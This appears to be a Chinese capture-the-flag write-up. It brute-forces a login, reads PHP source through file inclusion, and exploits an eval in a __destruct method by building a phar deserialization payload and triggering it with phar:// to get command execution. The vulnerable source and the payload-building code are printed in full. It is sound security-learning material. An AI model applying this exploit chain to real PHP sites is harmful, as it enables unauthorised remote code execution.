打开题目是登录界面
尝试sql注入,发现不行
使用burp爆破出密码是password
登录
看了一下url,怀疑存在文件包含
解码得到源码
home.php
<?php session_start(); echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>"; error_reporting(0); if(isset($_SESSION['user'])){ if(isset($_GET['file'])){ if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){ die("hacker!"); } else{ if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){ $file = $_GET['file'].".php"; } else{ $file = $_GET['file'].".fxxkyou!"; } echo "å½åå¼ç¨çæ¯ ".$file; require $file; } } else{ die("no permission!"); } } ?>
upload.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <form action="" method="post" enctype="multipart/form-data"> ä¸ä¼ æ件 <input type="file" name="file" /> <input type="submit" name="submit" value="ä¸ä¼ " /> </form> <?php error_reporting(0); class Uploader{ public $Filename; public $cmd; public $token; function __construct(){ $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/"; $ext = ".txt"; @mkdir($sandbox, 0777, true); if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; } else{ $this->Filename = $sandbox.$_SESSION['user'].$ext; } $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';"; $this->token = $_SESSION['user']; } function upload($file){ global $sandbox; global $ext; if(preg_match("[^a-z0-9]", $this->Filename)){ $this->cmd = "die('illegal filename!');"; } else{ if($file['size'] > 1024){ $this->cmd = "die('you are too big (â²â½`ã)');"; } else{ $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');"; } } } function __toString(){ global $sandbox; global $ext; // return $sandbox.$this->Filename.$ext; return $this->Filename; } function __destruct(){ if($this->token != $_SESSION['user']){ $this->cmd = "die('check token falied!');"; } eval($this->cmd); } } if(isset($_FILES['file'])) { $uploader = new Uploader(); $uploader->upload($_FILES["file"]); if(@file_get_contents($uploader)){ echo "ä¸é¢æ¯ä½ ä¸ä¼ çæ件ï¼<br>".$uploader."<br>"; echo file_get_contents($uploader); } } ?>
可操控的参数和命令执行函数
$this->Filename = $_GET['name']; eval($this->cmd);
上传代码
if(@file_get_contents($uploader)){ echo "下é¢æ˜¯ä½ ä¸Šä¼ çš„æ–‡ä»¶ï¼š<br>".$uploader."<br>"; echo file_get_contents($uploader); }
观察了一下代码,发现应该是一个反序列化,但是有没有发现反序列化代码,确定是一道phar反序列化题目
由于使用文件操作函数配合伪协议phar://
读取文件可触发反序列化,从而导致 rce.
基于这样的想法,这里便上传一个.phar
文件
function __destruct(){ if($this->token != $_SESSION['user']){ $this->cmd = "die('check token falied!');"; } eval($this->cmd); }
这里还需要获得user的session
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; } else{ $this->Filename = $sandbox.$_SESSION['user'].$ext; }
随便上传个文件得到session
构造一下上传的文件
class Uploader{ public $Filename; public $cmd; public $token; function __destruct(){ eval($this->cmd); } } $o = new Uploader(); $o->cmd = 'phpinfo();';# $o->token = 'd41d8cd98f00b204e9800998ecf8427e'; $phar = new Phar("payload.phar"); $phar ->startBuffering(); $phar -> setStub("<?php __HALT_COMPILER();?"); $phar -> setMetadata($o); $phar -> addFromString("test.txt","you are hacked"); $phar -> stopBuffering();
由于如果要触发file_get_contents(),得上传个文件, 随便上传一下,然后/?name=phar:// + 上传phar文件的路径 成功执行了
接下来把phpinfo命令改一下就行了
成功命令执行了